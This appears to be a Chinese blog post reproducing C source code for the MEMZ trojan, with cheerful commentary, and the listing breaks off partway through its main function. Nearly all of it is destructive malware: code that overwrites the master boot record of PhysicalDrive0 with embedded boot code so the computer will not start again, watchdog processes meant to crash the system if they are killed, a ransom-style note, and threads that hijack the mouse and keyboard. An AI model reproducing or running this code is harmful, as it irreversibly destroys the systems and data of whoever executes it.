标签：彩虹 bat 0x04 0x05 代码 0x00 0x03 int NULL
#include <Windows.h>
#include <TlHelp32.h>
#include <Shlwapi.h>
#include <Psapi.h>
//必不可少的头文件
int next;
const unsigned char msg[] = "YOUR COMPUTER HAS BEEN ED BY THE MEMZ TROJAN.\r\n\r\nYour computer won't boot up again,\r\nso use it as long as you can!\r\n\r\n:D\r\n\r\nTrying to kill MEMZ will cause your system to be\r\ndestroyed instantly, so don't try it :D";
//提前准备好信息
const char *sites[] = {
"喵喵喵+way+to+kill+yourself",
"喵喵喵+2+remove+a+virus",
"喵喵喵+vs+norton",
"喵喵喵+to+send+a+virus+to+my+friend",
"喵喵喵+hax+download+no+virus",
"喵喵喵+to+get+money",
"喵喵喵+buddy+download+free",
"喵喵喵+2+buy+weed",
"喵喵喵+to+code+a+virus+in+visual+basic",
"喵喵喵+happens+if+you+delete+system32",
"喵喵喵+r3kt",
"喵喵喵+virus+download",
"喵喵喵",
"喵喵喵+explorer+is+the+best+browser",
"喵喵喵+hacking+tool+free+download+no+virus+working+2016",
"喵喵喵+builder+legit+free+download",
"喵喵喵+to+create+your+own+ransomware",
"喵喵喵+to+remove+memz+trojan+virus",
"喵喵喵+computer+is+doing+weird+things+wtf+is+happenin+plz+halp",
"喵喵喵",
"喵喵喵",
"喵喵喵",
"calc",
"notepad",
"cmd",
"write",
"regedit",
"explorer",
"taskmgr",
"msconfig",
"mspaint",
"devmgmt.msc",
"control",
"mmc",
};
//一堆喵网站和程序
//向MBR写入的内容。为了防止内存爆掉，拆分成两部分
const unsigned char code1[] = {
0xB4, 0x02, 0xB0, 0x04, 0xB5, 0x00, 0xB1, 0x02, 0xB6, 0x00, 0xBB, 0xE0,
0x07, 0x8E, 0xC3, 0xBB, 0x00, 0x00, 0xCD, 0x13, 0xBB, 0xE0, 0x07, 0x8E,
0xC3, 0x8E, 0xDB, 0x31, 0xC0, 0x89, 0xC3, 0x89, 0xC1, 0x89, 0xC2, 0xBE,
0x00, 0x00, 0xBF, 0x00, 0x40, 0xAC, 0x81, 0xFE, 0x9E, 0x07, 0x73, 0x35,
0x3C, 0x80, 0x73, 0x03, 0xE9, 0x10, 0x00, 0x24, 0x7F, 0x88, 0xC1, 0xAC,
0xAA, 0xFE, 0xC9, 0x80, 0xF9, 0xFF, 0x75, 0xF7, 0xE9, 0xE2, 0xFF, 0x88,
0xC4, 0xAC, 0x89, 0xC3, 0xAC, 0x89, 0xF2, 0x89, 0xDE, 0x81, 0xC6, 0x00,
0x40, 0x88, 0xC1, 0xAC, 0xAA, 0xFE, 0xC9, 0x80, 0xF9, 0x00, 0x75, 0xF7,
0x89, 0xD6, 0xE9, 0xC4, 0xFF, 0xB0, 0xB6, 0xE6, 0x43, 0xB8, 0x03, 0x10,
0xB3, 0x00, 0xCD, 0x10, 0xBF, 0x00, 0x00, 0xBA, 0xC0, 0x9D, 0xB9, 0x00,
0xB8, 0x8E, 0xC1, 0xB8, 0x00, 0x00, 0xAB, 0x81, 0xFF, 0xA0, 0x0F, 0x7E,
0xF9, 0xBE, 0x9C, 0x9F, 0xB9, 0x00, 0x00, 0x89, 0xCF, 0xE4, 0x61, 0x0C,
0x03, 0xE6, 0x61, 0xB3, 0x01, 0x52, 0xB4, 0x86, 0xB9, 0x00, 0x00, 0xBA,
0x00, 0x60, 0xCD, 0x15, 0x5A, 0x81, 0xFE, 0xE8, 0x9F, 0x7D, 0x04, 0xAC,
0xB4, 0xF0, 0xAB, 0xFE, 0xCB, 0x80, 0xFB, 0x00, 0x75, 0xE3, 0x56, 0x89,
0xD6, 0xAD, 0x89, 0xC1, 0x80, 0xE4, 0x1F, 0xE6, 0x42, 0x88, 0xE0, 0xE6,
0x42, 0xC0, 0xED, 0x05, 0xC0, 0xE5, 0x02, 0x88, 0xEB, 0x89, 0xF2, 0x5E,
0x81, 0xFA, 0xF4, 0x9D, 0x75, 0xC3, 0xBE, 0x00, 0x40, 0xBF, 0x00, 0x00,
0xB8, 0xE0, 0x07, 0x8E, 0xD8, 0xB8, 0x00, 0xB8, 0x8E, 0xC0, 0xFE, 0xCB,
0xE9, 0x20, 0x00, 0xB0, 0xDC, 0xAA, 0xAC, 0xAA, 0x81, 0xFE, 0xC0, 0x9D,
0x74, 0x42, 0x81, 0xFF, 0xA0, 0x0F, 0x74, 0x03, 0xE9, 0xEC, 0xFF, 0x52,
0xB4, 0x86, 0xB9, 0x01, 0x00, 0xBA, 0x00, 0x60, 0xCD, 0x15, 0x5A, 0xBF,
0x00, 0x00, 0x81, 0xFA, 0x9C, 0x9F, 0x75, 0x03, 0xBA, 0xF4, 0x9D, 0xFE,
0xCB, 0x80, 0xFB, 0x00, 0x75, 0xCD, 0x56, 0x89, 0xD6, 0xAD, 0x89, 0xC1,
0x80, 0xE4, 0x1F, 0xE6, 0x42, 0x88, 0xE0, 0xE6, 0x42, 0xC0, 0xED, 0x05,
0x88, 0xEB, 0x89, 0xF2, 0x5E, 0xE9, 0xB3, 0xFF, 0xBE, 0x00, 0x40, 0xE9,
0xC1, 0xFF
};
const unsigned char code2[] = {
0x55, 0xAA, 0x83, 0x11, 0x11, 0x11, 0x11, 0x00, 0x00, 0x04, 0x00, 0x00,
0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x20, 0x00, 0x35, 0x0B, 0x83, 0xF1,
0xF1, 0x11, 0xF1, 0x00, 0x00, 0x4B, 0x00, 0x96, 0x04, 0x80, 0xFF, 0x00,
0x4F, 0x4F, 0x00, 0x9F, 0x4F, 0x00, 0xEA, 0x53, 0x82, 0x1F, 0xF1, 0x1F,
0x01, 0x42, 0x4E, 0x00, 0x4E, 0x50, 0x02, 0x12, 0x1F, 0x83, 0x10, 0x10,
0x10, 0x10, 0x02, 0x50, 0x04, 0x02, 0x50, 0x08, 0x80, 0x10, 0x02, 0x31,
0x1F, 0x83, 0x14, 0x14, 0x14, 0x14, 0x02, 0x80, 0x04, 0x83, 0x44, 0x44,
0x44, 0x44, 0x02, 0x88, 0x04, 0x02, 0x80, 0x0E, 0x87, 0x40, 0x0E, 0xEE,
0xEE, 0xED, 0xED, 0xED, 0xED, 0x02, 0xA2, 0x04, 0x02, 0xA5, 0x05, 0x82,
0xEE, 0xEE, 0x0E, 0x02, 0x60, 0x1E, 0x02, 0x88, 0x08, 0x83, 0x46, 0x46,
0x46, 0x46, 0x02, 0xD8, 0x04, 0x02, 0xD0, 0x0E, 0x8C, 0x00, 0xEE, 0xED,
0xDD, 0xDC, 0xDD, 0xDD, 0xDD, 0xDD, 0xCD, 0xDD, 0xDD, 0xCD, 0x02, 0xF3,
0x04, 0x83, 0xDD, 0xED, 0xEE, 0x00, 0x02, 0xB3, 0x1D, 0x83, 0x66, 0x66,
0x66, 0x66, 0x03, 0x20, 0x04, 0x03, 0x20, 0x08, 0x03, 0x22, 0x0E, 0x81,
0x00, 0xEE, 0x02, 0xFB, 0x05, 0x03, 0x41, 0x04, 0x83, 0xD0, 0x07, 0x07,
0xD0, 0x02, 0xF9, 0x04, 0x84, 0xEE, 0x00, 0x10, 0x07, 0x07, 0x02, 0xB2,
0x1A, 0x83, 0x6E, 0x6E, 0x6E, 0x6E, 0x03, 0x70, 0x04, 0x83, 0xEE, 0xEE,
0xEE, 0xEE, 0x03, 0x78, 0x04, 0x03, 0x70, 0x08, 0x85, 0x00, 0x07, 0x07,
0x00, 0xE0, 0xEE, 0x03, 0x3E, 0x08, 0x8F, 0xCD, 0xDD, 0xDD, 0x00, 0x77,
0x77, 0x77, 0x07, 0xD0, 0xD0, 0xD0, 0xE0, 0x07, 0x77, 0x77, 0x77, 0x03,
0x02, 0x1A, 0x03, 0x78, 0x08, 0x83, 0xEA, 0xEA, 0xEA, 0xEA, 0x03, 0xC8,
0x04, 0x03, 0xC0, 0x08, 0x85, 0x0A, 0x00, 0x70, 0x77, 0x07, 0x00, 0x03,
0x8E, 0x05, 0x02, 0xFA, 0x04, 0x81, 0xDC, 0xD0, 0x03, 0xA2, 0x04, 0x80,
0x77, 0x03, 0xEA, 0x04, 0x03, 0xEE, 0x04, 0x03, 0x55, 0x1A, 0x83, 0xAA,
0xAA, 0xAA, 0xAA, 0x04, 0x10, 0x04, 0x04, 0x10, 0x08, 0x04, 0x16, 0x0A,
0x85, 0x0A, 0x00, 0x70, 0x70, 0x00, 0xEE, 0x02, 0xF9, 0x07, 0x03, 0x98,
0x05, 0x80, 0xF0, 0x04, 0x38, 0x04, 0x80, 0x70, 0x04, 0x3B, 0x05, 0x03,
0xA6, 0x19, 0x83, 0xA3, 0xA3, 0xA3, 0xA3, 0x04, 0x60, 0x04, 0x83, 0x33,
0x33, 0x33, 0x33, 0x04, 0x68, 0x04, 0x04, 0x60, 0x0D, 0x83, 0x03, 0x00,
0xEE, 0xDE, 0x02, 0xF1, 0x04, 0x03, 0x96, 0x07, 0x81, 0x77, 0x70, 0x04,
0x3F, 0x04, 0x04, 0x8C, 0x04, 0x04, 0x46, 0x1A, 0x04, 0x68, 0x08, 0x87,
0x39, 0x39, 0x39, 0x39, 0xF9, 0x39, 0x39, 0x39, 0x04, 0xB0, 0x0C, 0x9A,
0x39, 0x30, 0x00, 0xE0, 0xEE, 0xEE, 0xDE, 0xDE, 0xDE, 0xDE, 0xDE, 0xDE,
0xDE, 0x0E, 0x70, 0x77, 0x77, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,
0x77, 0x70, 0x01, 0x03, 0xA7, 0x19, 0x83, 0x99, 0x99, 0x99, 0x99, 0x05,
0x00, 0x04, 0x81, 0x99, 0x9F, 0x05, 0x04, 0x06, 0x05, 0x00, 0x09, 0x88,
0x99, 0x99, 0x99, 0x00, 0x77, 0x77, 0x70, 0x00, 0x01, 0x03, 0x88, 0x04,
0x83, 0x01, 0x01, 0x01, 0x01, 0x05, 0x21, 0x06, 0x05, 0x2B, 0x05, 0x03,
0x05, 0x1B, 0x83, 0x91, 0x91, 0x91, 0x91, 0x05, 0x50, 0x04, 0x05, 0x48,
0x10, 0x05, 0x5C, 0x04, 0x05, 0x27, 0x04, 0x05, 0x6A, 0x05, 0x05, 0x59,
0x07, 0x05, 0x6D, 0x07, 0x01, 0xB8, 0x98, 0x00, 0x9F, 0xF1, 0x06, 0x99,
0x73, 0x05, 0xAC, 0x93, 0x07, 0x7F, 0x06, 0x07, 0x7F, 0x4B, 0x82, 0xF1,
0x11, 0x1F, 0x05, 0xAB, 0xFF, 0x08, 0xAA, 0xBB, 0x02, 0x50, 0xF9, 0x03,
0x48, 0x05, 0x03, 0x4E, 0x05, 0x80, 0x11, 0x03, 0x53, 0x1C, 0x03, 0x70,
0x18, 0x84, 0xEE, 0xE0, 0xE0, 0xEE, 0xEE, 0x03, 0x8D, 0x0C, 0x03, 0x98,
0x08, 0x81, 0xE0, 0x00, 0x03, 0xA2, 0x1D, 0x03, 0xC0, 0x18, 0x04, 0x44,
0x04, 0x81, 0xE0, 0xE0, 0x03, 0xDE, 0x0A, 0x80, 0xDD, 0x03, 0xE8, 0x27,
0x04, 0x11, 0x1A, 0x83, 0x70, 0x70, 0x77, 0x77, 0x04, 0x2E, 0x0A, 0x04,
0x37, 0x28, 0x04, 0x60, 0x1C, 0x80, 0x03, 0x04, 0x7D, 0x0B, 0x04, 0x87,
0x28, 0x04, 0xC0, 0x0D, 0x04, 0xBD, 0x10, 0x80, 0x39, 0x04, 0xCE, 0x0B,
0x04, 0xD8, 0x27, 0x05, 0x10, 0x0C, 0x0C, 0xD0, 0x0C, 0x05, 0x17, 0x08,
0x05, 0x20, 0x0B, 0x05, 0x2A, 0x25, 0x05, 0x62, 0x06, 0x80, 0xF1, 0x05,
0x57, 0x15, 0x05, 0x71, 0x07, 0x05, 0x72, 0x11, 0x05, 0x82, 0x2A, 0x05,
0xAD, 0xFF, 0x06, 0xB1, 0xFF, 0x07, 0xB5, 0xAE, 0x81, 0x11, 0x11, 0x01,
0x92, 0x4F, 0x00, 0xDC, 0xB5, 0x0E, 0xFC, 0x9C, 0x00, 0x4B, 0x54, 0x0A,
0x59, 0x15, 0x12, 0x25, 0x0A, 0x84, 0x10, 0x0E, 0x0E, 0x0E, 0x0E, 0x12,
0x40, 0x04, 0x12, 0x40, 0x08, 0x0A, 0x81, 0x1F, 0x80, 0x11, 0x0A, 0xA9,
0x15, 0x12, 0x75, 0x09, 0x83, 0x00, 0xEE, 0xEE, 0xED, 0x0C, 0x04, 0x05,
0x80, 0xDC, 0x0B, 0xB5, 0x04, 0x0A, 0xCD, 0x05, 0x0A, 0xD1, 0x41, 0x0C,
0x01, 0x08, 0x82, 0xDD, 0xD0, 0xD0, 0x12, 0x99, 0x04, 0x12, 0xA1, 0x04,
0x0A, 0x2F, 0x1B, 0x0B, 0x49, 0x10, 0x13, 0x10, 0x0E, 0x0B, 0x5E, 0x08,
0x12, 0x9A, 0x04, 0x80, 0x00, 0x0B, 0x6C, 0x04, 0x03, 0x4F, 0x06, 0x0B,
0x75, 0x1B, 0x0B, 0x99, 0x0F, 0x0B, 0x98, 0x0F, 0x13, 0x2E, 0x05, 0x12,
0x9A, 0x05, 0x0C, 0x57, 0x07, 0x0C, 0xB1, 0x05, 0x0B, 0x74, 0x1C, 0x04,
0x10, 0x1A, 0x82, 0xA0, 0xA0, 0xA0, 0x03, 0xDD, 0x04, 0x13, 0x83, 0x06,
0x80, 0xCD, 0x13, 0x89, 0x05, 0x80, 0x7F, 0x0C, 0x64, 0x04, 0x13, 0xDB,
0x06, 0x0C, 0x68, 0x1F, 0x0C, 0x30, 0x11, 0x0B, 0x72, 0x04, 0x04, 0x2C,
0x05, 0x13, 0x32, 0x0B, 0x80, 0x77, 0x13, 0x91, 0x05, 0x80, 0x07, 0x14,
0x2C, 0x05, 0x13, 0xE8, 0x18, 0x0C, 0x89, 0x15, 0x14, 0x55, 0x04, 0x88,
0x03, 0x03, 0x03, 0x03, 0x33, 0x00, 0xEE, 0xEE, 0xDE, 0x12, 0xE2, 0x07,
0x80, 0x0D, 0x0C, 0x64, 0x05, 0x81, 0x70, 0x70, 0x04, 0x2B, 0x04, 0x80,
0x77, 0x0C, 0xB5, 0x1A, 0x05, 0x0E, 0x0E, 0x0C, 0xDD, 0x11, 0x84, 0x07,
0xE0, 0xE0, 0xE0, 0xE0, 0x14, 0xC0, 0x04, 0x87, 0xE0, 0xE0, 0xE0, 0x00,
0x70, 0x70, 0x70, 0x70, 0x14, 0xCC, 0x04, 0x80, 0x70, 0x04, 0xE5, 0x1B,
0x81, 0xF1, 0x1F, 0x11, 0xCF, 0x05, 0x05, 0x50, 0x17, 0x80, 0x00, 0x14,
0xD4, 0x04, 0x82, 0x01, 0x70, 0x70, 0x14, 0x38, 0x07, 0x15, 0x13, 0x05,
0x15, 0x13, 0x0A, 0x05, 0xAD, 0xFF, 0x0F, 0xE2, 0xE7, 0x0F, 0xD9, 0x93,
0x05, 0xAC, 0xFF, 0x16, 0x23, 0xA0, 0x17, 0xA5, 0x04, 0x08, 0x18, 0x4D,
0x08, 0x14, 0x5B, 0x12, 0x20, 0xFF, 0x13, 0x1F, 0xAD, 0x81, 0x07, 0x07,
0x13, 0xCE, 0x4A, 0x83, 0xA0, 0x07, 0x77, 0x70, 0x14, 0x1C, 0x4C, 0x84,
0x03, 0x70, 0x70, 0x03, 0x33, 0x14, 0x6D, 0x34, 0x14, 0xA2, 0x1C, 0x81,
0x90, 0x07, 0x14, 0xBF, 0x31, 0x05, 0x49, 0x1D, 0x15, 0x0E, 0xFF, 0x18,
0x97, 0xFF, 0x08, 0x15, 0x94, 0x14, 0xF0, 0x07, 0x05, 0xAD, 0xFF, 0x16,
0x2D, 0xFF, 0x20, 0x84, 0x4C, 0x0A, 0x50, 0x1E, 0x81, 0x44, 0x40, 0x1A,
0x10, 0x30, 0x0A, 0xA0, 0x20, 0x1A, 0x60, 0x5A, 0x81, 0xD0, 0xD0, 0x22,
0x38, 0x05, 0x0B, 0x21, 0x04, 0x21, 0xF1, 0x1B, 0x0B, 0x40, 0x19, 0x1B,
0x49, 0x0A, 0x22, 0x34, 0x06, 0x1B, 0x0A, 0x07, 0x81, 0xDD, 0xEE, 0x14,
0x18, 0x04, 0x03, 0xA6, 0x31, 0x81, 0xE0, 0x07, 0x03, 0x89, 0x04, 0x0B,
0xAD, 0x06, 0x1B, 0xA1, 0x06, 0x1B, 0x5A, 0x26, 0x1B, 0x7F, 0x18, 0x81,
0x0A, 0x0A, 0x1C, 0xA2, 0x04, 0x1B, 0x9D, 0x0B, 0x1B, 0xA9, 0x27, 0x0C,
0x2F, 0x21, 0x22, 0xD1, 0x0B, 0x1B, 0xFC, 0x24, 0x0C, 0x7F, 0x1E, 0x80,
0x30, 0x1C, 0x3E, 0x0A, 0x1C, 0x49, 0x27, 0x1C, 0x6F, 0x1C, 0x80, 0x90,
0x23, 0x18, 0x06, 0x1C, 0x93, 0x2E, 0x05, 0x50, 0x1B, 0x15, 0x0E, 0xFF,
0x10, 0xD9, 0xF8, 0x80, 0xF1, 0x26, 0x50, 0x4D, 0x00, 0x9E, 0x47, 0x82,
0xF1, 0xF1, 0x1F, 0x26, 0xA2, 0x4E, 0x05, 0xAB, 0xFF, 0x06, 0xE0, 0xFF,
0x21, 0xB6, 0xD3, 0x03, 0x49, 0x05, 0x22, 0x8E, 0x05, 0x03, 0x53, 0x35,
0x0B, 0x58, 0x0E, 0x23, 0xC5, 0x08, 0x03, 0x9E, 0x3A, 0x0B, 0xA8, 0x0B,
0x2A, 0x0A, 0x05, 0x03, 0xE8, 0x41, 0x0B, 0xF9, 0x08, 0x23, 0x71, 0x0B,
0x04, 0x3C, 0x40, 0x23, 0xBC, 0x10, 0x04, 0x8C, 0x30, 0x23, 0xFC, 0x1C,
0x24, 0x17, 0x05, 0x0C, 0xAE, 0x22, 0x80, 0x1F, 0x24, 0x40, 0x1D, 0x80,
0x77, 0x24, 0x5E, 0x0C, 0x86, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0C, 0xF4, 0x04, 0x29, 0x0C, 0x1B, 0x24, 0x90, 0x20, 0x2C, 0x7B, 0x05,
0x2C, 0x6B, 0x05, 0x24, 0xAB, 0x0F, 0x00, 0x38, 0xFF, 0x2D, 0x19, 0x7F,
0x2C, 0xFF, 0x4E, 0x27, 0x37, 0x98, 0x26, 0x9D, 0x9A, 0x05, 0xAD, 0xFF,
0x25, 0xF5, 0x5A, 0x1F, 0x6F, 0x40, 0x0A, 0x20, 0x30, 0x19, 0xF0, 0x1E,
0x80, 0x10, 0x0A, 0x6F, 0x31, 0x1A, 0x40, 0x20, 0x02, 0xF0, 0x80, 0x1A,
0xE0, 0x18, 0x0D, 0x01, 0x04, 0x80, 0x60, 0x1A, 0xFD, 0x09, 0x03, 0x96,
0x2A, 0x1B, 0x30, 0x18, 0x80, 0x0E, 0x03, 0xD9, 0x87, 0x1B, 0xD0, 0x18,
0x33, 0x4A, 0x05, 0x04, 0x7D, 0x33, 0x14, 0x50, 0x19, 0x33, 0x9B, 0x04,
0x04, 0xCD, 0x29, 0x30, 0xA1, 0x0A, 0x0C, 0xD1, 0x1F, 0x05, 0x1F, 0x25,
0x1E, 0x89, 0x13, 0x2C, 0x60, 0x15, 0x05, 0x6C, 0x27, 0x08, 0x12, 0xFF,
0x30, 0x33, 0xFD, 0x07, 0xBE, 0xFF, 0x2D, 0x1A, 0xFF, 0x2E, 0x19, 0x93,
0x31, 0x36, 0x0B, 0x80, 0xF0, 0x31, 0x3C, 0xED, 0x0B, 0x19, 0x27, 0x1A,
0xE0, 0x19, 0x81, 0x60, 0x60, 0x1A, 0xFB, 0x0B, 0x0B, 0x66, 0x2A, 0x32,
0xA0, 0x18, 0x0B, 0xA8, 0x88, 0x33, 0x40, 0x1C, 0x0C, 0x4C, 0x34, 0x33,
0x90, 0x1D, 0x80, 0x33, 0x0C, 0x9E, 0x1F, 0x35, 0xE0, 0x13, 0x0C, 0xD0,
0x50, 0x24, 0x89, 0x1D, 0x0D, 0x3D, 0x1D, 0x0F, 0xD9, 0xFF, 0x06, 0xBC,
0xFF, 0x0F, 0x88, 0xFF, 0x10, 0x84, 0xFF, 0x26, 0x54, 0xCA, 0x21, 0xC0,
0xCA, 0x1A, 0xBA, 0x26, 0x22, 0xB0, 0x29, 0x1B, 0x09, 0x27, 0x2A, 0xD0,
0x18, 0x42, 0x4A, 0x06, 0x13, 0x7E, 0x82, 0x2B, 0x70, 0x18, 0x14, 0x18,
0x38, 0x2B, 0xC0, 0x19, 0x84, 0x09, 0x09, 0x09, 0x09, 0x39, 0x1C, 0x3E,
0x4F, 0x14, 0xBD, 0x33, 0x05, 0x50, 0x1C, 0x24, 0xA9, 0x15, 0x80, 0xF1,
0x15, 0x22, 0xFF, 0x16, 0x51, 0xFF, 0x17, 0x50, 0xFF, 0x18, 0x4D, 0xFF,
0x36, 0x7C, 0xD2, 0x41, 0x00, 0xFF, 0x41, 0xFF, 0xAD, 0x1B, 0x9C, 0x34,
0x42, 0xE0, 0x18, 0x80, 0x30, 0x1B, 0xE9, 0x37, 0x43, 0x30, 0x18, 0x84,
0x09, 0x70, 0x70, 0x09, 0x39, 0x43, 0x4D, 0x50, 0x1C, 0x8D, 0x33, 0x43,
0xD0, 0x1D, 0x43, 0xEE, 0x0C, 0x82, 0xF1, 0xF1, 0x1F, 0x24, 0xBA, 0x4F,
0x46, 0x55, 0xD1, 0x1E, 0x3B, 0xFF, 0x01, 0x5B, 0x37, 0x05, 0xAD, 0xFF,
0x16, 0x29, 0xFF, 0x4F, 0x30, 0x80, 0x19, 0xF0, 0xCA, 0x22, 0x8A, 0x26,
0x1A, 0xE0, 0x29, 0x22, 0xD9, 0x27, 0x3A, 0x70, 0x17, 0x23, 0x17, 0x89,
0x3B, 0x10, 0x20, 0x23, 0xC0, 0x30, 0x33, 0x90, 0x1F, 0x24, 0x0F, 0x81,
0x4B, 0x99, 0x1B, 0x4B, 0xBD, 0x04, 0x44, 0x01, 0x05, 0x40, 0x84, 0x06,
0x4B, 0xCC, 0x48, 0x2F, 0x50, 0xD0, 0x3F, 0xE2, 0x9D, 0x40, 0x81, 0x04,
0x2F, 0x01, 0xFF, 0x05, 0xAD, 0xFF, 0x06, 0xFA, 0xFF, 0x50, 0x80, 0xE9,
0x2A, 0x59, 0x27, 0x3A, 0x20, 0x26, 0x2A, 0xA6, 0x2A, 0x3A, 0x70, 0x23,
0x2A, 0xF3, 0x7D, 0x52, 0x80, 0x2C, 0x33, 0x6C, 0x3B, 0x80, 0x3F, 0x52,
0xE8, 0x10, 0x2B, 0xE8, 0x27, 0x53, 0x1F, 0x16, 0x80, 0xF9, 0x5B, 0x02,
0x04, 0x2C, 0x2A, 0x35, 0x53, 0x6F, 0x15, 0x80, 0xF1, 0x5B, 0x45, 0x05,
0x80, 0xF1, 0x2C, 0x7B, 0x31, 0x08, 0x4A, 0xFF, 0x57, 0x90, 0x97, 0x5C,
0xD1, 0x4F, 0x5D, 0x22, 0x4F, 0x87, 0x7E, 0x27, 0x12, 0x27, 0x4C, 0x46,
0xB8, 0x44, 0x5D, 0xC0, 0x05, 0x8E, 0x26, 0xB8, 0x24, 0x34, 0x24, 0xBF,
0x23, 0x34, 0x24, 0x00, 0x25, 0xB8, 0x44, 0x4C, 0x46, 0x5D, 0xC0, 0x08,
0x5D, 0xD4, 0x05, 0xA0, 0x24, 0x34, 0x24, 0x89, 0x23, 0xBF, 0x23, 0x89,
0x23, 0x34, 0x24, 0x4C, 0x46, 0x9D, 0x45, 0x7E, 0x27, 0x7E, 0x27, 0x70,
0x49, 0xF0, 0x27, 0x68, 0x28, 0x70, 0x29, 0x70, 0x69, 0x68, 0x48, 0xF0,
0x47, 0x5D, 0xFE, 0x06, 0x87, 0x68, 0x28, 0x7E, 0x27, 0x4C, 0x26, 0x9D,
0x25, 0x5E, 0x12, 0x04, 0x5E, 0x10, 0x04, 0x5E, 0x0E, 0x04, 0x85, 0x70,
0x29, 0x7E, 0x47, 0x4C, 0x46, 0x5E, 0x16, 0x0C, 0x83, 0xF0, 0x27, 0x7E,
0x27, 0x5E, 0x0A, 0x08, 0x81, 0xF0, 0x47, 0x5E, 0x0E, 0x08, 0x5E, 0x46,
0x04, 0x5E, 0x3C, 0x05, 0x84, 0x48, 0x70, 0x49, 0x68, 0x48, 0x5D, 0xF4,
0x66, 0x85, 0x70, 0x49, 0x99, 0x2C, 0x39, 0x2B, 0x5E, 0xC0, 0x06, 0x5E,
0xAA, 0x06, 0x83, 0x70, 0x29, 0x12, 0x27, 0x5D, 0xC8, 0x06, 0x81, 0x70,
0x49, 0x5E, 0xC6, 0x08, 0x81, 0x99, 0x2C, 0x5E, 0xD4, 0x04, 0x5E, 0xB6,
0x04, 0x87, 0x99, 0x2C, 0xFB, 0x2E, 0x24, 0x2E, 0x99, 0x2C, 0x5E, 0xC0,
0x0E, 0x5E, 0xCC, 0x08, 0x5F, 0x00, 0x04, 0x5E, 0xF6, 0x04, 0x83, 0x70,
0x29, 0x00, 0x2A, 0x5F, 0x0C, 0x06, 0x5E, 0xD2, 0x0C, 0x81, 0x00, 0x4A,
0x5E, 0xC0, 0x6C, 0xBC, 0x68, 0x48, 0x59, 0x6F, 0x75, 0x72, 0x20, 0x63,
0x6F, 0x6D, 0x70, 0x75, 0x74, 0x65, 0x72, 0x20, 0x68, 0x61, 0x73, 0x20,
0x62, 0x65, 0x65, 0x6E, 0x20, 0x74, 0x72, 0x61, 0x73, 0x68, 0x65, 0x64,
0x20, 0x62, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x4D, 0x45, 0x4D, 0x5A,
0x20, 0x74, 0x72, 0x6F, 0x6A, 0x61, 0x6E, 0x2E, 0x20, 0x4E, 0x6F, 0x77,
0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x5F, 0xBC, 0x06, 0x8A, 0x4E, 0x79, 0x61,
0x6E, 0x20, 0x43, 0x61, 0x74, 0x2E, 0x2E, 0x2E
};
//提前创建要使用的函数以及变量和指针，这样可以使后面的代码简洁明了，以及喵（划掉）
int random();
void strReverseW(LPWSTR str);
DWORD WINAPI payloadThread(LPVOID);
DWORD WINAPI watchdogThread(LPVOID parameter);
int payloadExecute(int, int);
int payloadCursor(int, int);
int payloadBlink(int, int);
int payloadMessageBox(int, int);
DWORD WINAPI messageBoxThread(LPVOID);
LRESULT CALLBACK msgBoxHook(int, WPARAM, LPARAM);
int payloadChangeText(int, int);
BOOL CALLBACK EnumWindowProc(HWND hwnd, LPARAM lParam);
int payloadSound(int, int);
int payloadPuzzle(int, int);
int payloadKeyboard(int, int);
int payloadPIP(int, int);
HCRYPTPROV prov;
int scrw, scrh;
void main() {
scrw = GetSystemMetrics(SM_CXSCREEN);
scrh = GetSystemMetrics(SM_CYSCREEN);
int argc;
LPWSTR *argv = CommandLineToArgvW(GetCommandLineW(), &argc);
//写入watchdog进程监视狗，并创建几个进程监视。一旦发现进程被结束，诱发蓝屏
if (argc > 1) {
if (!lstrcmpW(argv[1], L"/watchdog")) {
CreateThread(NULL, NULL, &watchdogThread, NULL, NULL, NULL);
for (;;) {
Sleep(10000);
}
}
} else {
char *fn = (char *)LocalAlloc(LMEM_ZEROINIT, 8192);
GetModuleFileNameA(NULL, fn, 8192);
for (int i = 0; i < 3; i++)
ShellExecuteA(NULL, NULL, fn, "/watchdog", NULL, SW_SHOWDEFAULT);
SHELLEXECUTEINFO info;
info.cbSize = sizeof(SHELLEXECUTEINFO);
info.lpFile = fn;
info.lpParameters = "/main";
info.fMask = SEE_MASK_NOCLOSEPROCESS;
info.hwnd = NULL;
info.lpVerb = NULL;
info.lpDirectory = NULL;
info.hInstApp = NULL;
info.nShow = SW_SHOWDEFAULT;
ShellExecuteEx(&info);
SetPriorityClass(info.hProcess, HIGH_PRIORITY_CLASS);
ExitProcess(0);
}
if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT))
ExitProcess(1);
//破坏MBR
HANDLE drive = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (drive == INVALID_HANDLE_VALUE)
ExitProcess(2);
unsigned char *bootcode = (unsigned char *)LocalAlloc(LMEM_ZEROINIT, 65536);
// Join the two code parts together
int i = 0;
for (; i < sizeof(code1); i++)
*(bootcode + i) = *(code1 + i);
for (i = 0; i < sizeof(code2); i++)
*(bootcode + i + 0x1fe) = *(code2 + i);
DWORD wb;
if (!WriteFile(drive, bootcode, 65536, &wb, NULL))
ExitProcess(3);
CloseHandle(drive);
//创建一个名叫note的TXT文件，并写入内容再打开
HANDLE note = CreateFile("\\note.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (note == INVALID_HANDLE_VALUE)
ExitProcess(4);
if (!WriteFile(note, msg, sizeof(msg), &wb, NULL))
ExitProcess(5);
CloseHandle(note);
ShellExecuteA(NULL, NULL, "notepad", "\\note.txt", NULL, SW_SHOWDEFAULT);
Sleep(30000);
CreateThread(NULL, NULL, &payloadThread, &payloadExecute, NULL, NULL);//随机弹出奇怪的网站与程序
Sleep(40000);
CreateThread(NULL, NULL, &payloadThread, &payloadCursor, NULL, NULL);//鼠标鬼畜
Sleep(20000);
CreateThread(NULL, NULL, &payloadThread, &payloadKeyboard, NULL, NULL);//键盘随机输入
Sleep(60000);
CreateThread(NULL, NULL, &payloadThread, &payloadSound, NULL, NULL);//播放错误声音
Sleep(30000);
CreateThread(NULL, NULL, &payloadThread, &payloadBlink, NULL, NULL);//反色
